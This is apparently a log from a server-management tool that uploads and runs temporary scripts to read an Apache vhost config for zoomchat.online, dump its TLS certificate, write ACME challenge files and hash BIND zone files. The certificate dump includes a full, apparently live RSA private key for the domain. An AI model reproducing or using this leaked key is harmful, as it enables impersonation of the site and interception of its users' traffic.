PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Sat Dec 27 06:00:30.234314 2025] [so:warn] [pid 2091667:tid 140636444432704] AH01574: module status_module is already loaded, skipping


2025-12-27 06:00:30: 

PUT: /tmp/pkp303694

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-27 06:00:30: 

chmod 755 /tmp/pkp303694; /tmp/pkp303694; rm /tmp/pkp303694

2025-12-27 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf	2243

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-27 06:00:31: 

PUT: /tmp/pkp859719

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-27 06:00:31: 

chmod 755 /tmp/pkp859719; /tmp/pkp859719; rm /tmp/pkp859719

2025-12-27 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt	5374
e6:00:1e:64:48:42:03:24:03:09:b8:81:33:98:64:25

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBiv8qJ1zIejUMZHqU91B/Sg4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI3MDUwMTQ4WhcNMjYwMzI3MDUwMTQ3WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCmglMA5SSW+f2p0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1
Gj7FrlGh9OfdWOanbj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd9
7nXeAVXK/n+VwRwJQeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kg
o9Bb446v0FJiYp7ZkuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+Vy
htbVqpzrmM6gbTMMOJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG
/CS5QWHHI8xiu8rJoLsLAuM1AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFAC+o6alPADzhE3FEJu3T8kjE4phMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbXmS9nwAABAMARjBEAiAIP7Lqgs8AixnRojRntLA7hx05kFDXSMoeq9z+
wG7MCwIgJylvbYdXeyDcUhAkjh8BEf4L04q1VvWRxN4OyKTDoz0AdQDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZteZL27AAAEAwBGMEQCICQRAuWR
g9GhRpDo7ADhwJh+RdO/lzhPV2MtOr3a61TvAiB+NhfmT6chP6S3feJMx5He6UjO
yNURsoOIifnetoBNWTANBgkqhkiG9w0BAQsFAAOCAQEAHFPdrG05uHwZA64uvukk
jkOMty5xXNKCdiPblhIsv4hwVIFL5UBhe837Epe9/68fnt+iOrNHf6EjWMXg+N80
2CpA4fAHTFBYELFdrHjZu6XZUG3fiFBJgQ5nA+bk/yovj9mjZEQCIY7EIF+2m/SW
rf+FtCIO0FyppBHAAy7lCjPMGpBKVEPQjZHN18czIjJQNmqjv1fqplWFXGGu/ll6
EnOgo5+N9I3KOv1cX3D41kMle2087w2yYyZPoQTxezXJ/MIUgMXBnsTVXPMVU/GC
WfuVZZzx4tHXX3ssaaluEMHVFZZmU/turFRfLk8QzYBCdsBitEq/3ZPwXcG3Bdfv
Rw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCmglMA5SSW+f2p
0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1Gj7FrlGh9OfdWOan
bj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd97nXeAVXK/n+VwRwJ
QeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kgo9Bb446v0FJiYp7Z
kuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+VyhtbVqpzrmM6gbTMM
OJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG/CS5QWHHI8xiu8rJ
oLsLAuM1AgMBAAECggEAAVktapV/ribHWwUogd8fy79J9Wk5s6pOn/piWj9hUD6Q
0UfwHi44qhv2m+zPOkrFPyU/W7g7cqyeqH3KxZHzSbIkE90qNxvxn8WqKcKcIIMf
OtD5Y/KrGOsU8WxVXNuRwgmykDEZqNfNL7Alx11cOeiQtk8PoWuEhlX2k+Wsv0CS
eQywoKfQnTsuU0tl7ZixGhVIthkxCF7oqk0F8OjVmIsd/6mDxP+yzTXBcwivP3nz
lxtWyjiCn1SdPtoHfr2aE5dmhHKNMpxYPynF/4pD7ntw4QXDueLCVyn3TlDKLD5N
lljG4QQI+EKRhbJvfIIDugVvcsamT5FpjaYKGISsAQKBgQDf2FWeC+gytIP/xcY5
ChxXb02vrQbNjAbBIXXRUokkPyDvjXQWTS3o2hsX+ZJVd2dEqevBKWCvtmGYBpTw
cJ1BEC0UeQM41RRs8EtUn+gtFQPGyREJ1QOFowoxIWhTo1r/00GwQtdf1JkBSJGk
M4pyFyz55KV+i4lUVDH4e4UPNQKBgQC+bYUPuRshjun3Rk0fKpRAapH8Iv+Y1mj3
AZGF4NTgmv5Rs/Y4gHNiCMvIgZiDuaucn5/7C6UIglY4ZHhv5rtY+pGnghLHXGbo
Ano4FGWSCCYB9bSZfMO55cXEM/8nXq0Psj4iqgQGT/MSaQOEFJFbyZu+xCRvrKm9
0NbLwV0EAQKBgFZAwPTud6GaJ0bWSYRPHg6e59tqm7V2YF/o6cInwIqD/MfxxKqX
QLp52HjLhRSDtvohU6ORsxzh9Qckeh2P9zhL6GL8Ij6y9HTpvs0z9L3yXAssDPGx
7/J9mX7G9bFMv9LV73jguKbHf9GbyerwpUdDIOSFszNoxxkEfGDYD7SFAoGAGCJl
RNLe/2fPe0lrqNGKrIdVLTF6V3KFJxkJyn/uOvEp3k0CnbKZ7QjUWvshy0AS4ezR
J84YAnYSW19QbE4/3E0VfLddjerGGA2IU+cx4EosFv9+/hzz6XGXmQBGDEVRhbW/
bkFB9VLYqbKpgWnh6lIo7QqK26R0dtwq/PPqyAECgYB1OVqOwttvjGFPdyozz0Yr
a7a18LVeRAqHgHatvD17266NK/OM9haGVgHhUEZZwBQ8shhue9MKh4HsafRshNmS
nwR56KqHvuvC5/2HzTxqLvqdlbcGdF2Za1uYxWH3lI1o/C2trCIM+E1Pub/AJRCa
I/imWmG/liI6lszAEAnnUA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-27 06:00:32: Establishing a connection
2025-12-27 06:00:32: Establishing a connection
2025-12-27 06:00:32: 

PUT: /tmp/pkp404405

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-27 06:00:33: 

chmod 755 /tmp/pkp404405; /tmp/pkp404405; rm /tmp/pkp404405

2025-12-27 06:00:33: 


1


2025-12-27 06:00:33: Establishing a connection
2025-12-27 06:00:33: 

PUT: /tmp/pkp426626

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > Z8fMRfY67r7Oo8RKnWd1N0cTjPF00YOnhfo0nt0ZCio <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Z8fMRfY67r7Oo8RKnWd1N0cTjPF00YOnhfo0nt0ZCio.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Z8fMRfY67r7Oo8RKnWd1N0cTjPF00YOnhfo0nt0ZCio


2025-12-27 06:00:33: 

chmod 755 /tmp/pkp426626; /tmp/pkp426626; rm /tmp/pkp426626

2025-12-27 06:00:33: 




2025-12-27 06:00:35: Establishing a connection
2025-12-27 06:00:36: Establishing a connection
2025-12-27 06:00:37: 

PUT: /tmp/pkp214463

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-27 06:00:38: 

chmod 755 /tmp/pkp214463; /tmp/pkp214463; rm /tmp/pkp214463

2025-12-27 06:00:38: 


0


2025-12-27 13:55:27: Establishing a connection
2025-12-27 13:55:38: Establishing a connection
2025-12-27 13:55:39: 

PUT: /tmp/pkp955182

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-27 13:55:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp955182; rm /tmp/pkp955182'

2025-12-27 13:55:39: 
2025-12-27 13:55:39: 

PUT: /tmp/pkp202510

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/db.0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-27 13:55:39: 

chmod 755 /tmp/pkp202510; /tmp/pkp202510; rm /tmp/pkp202510

2025-12-27 13:55:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/db.0	255
;
; BIND reverse data file for "this host on this network" zone
;
$TTL	604800
@	IN	SOA	localhost. root.localhost. (
			      1		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			 604800 )	; Negative Cache TTL
;
@	IN	NS	localhost.






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
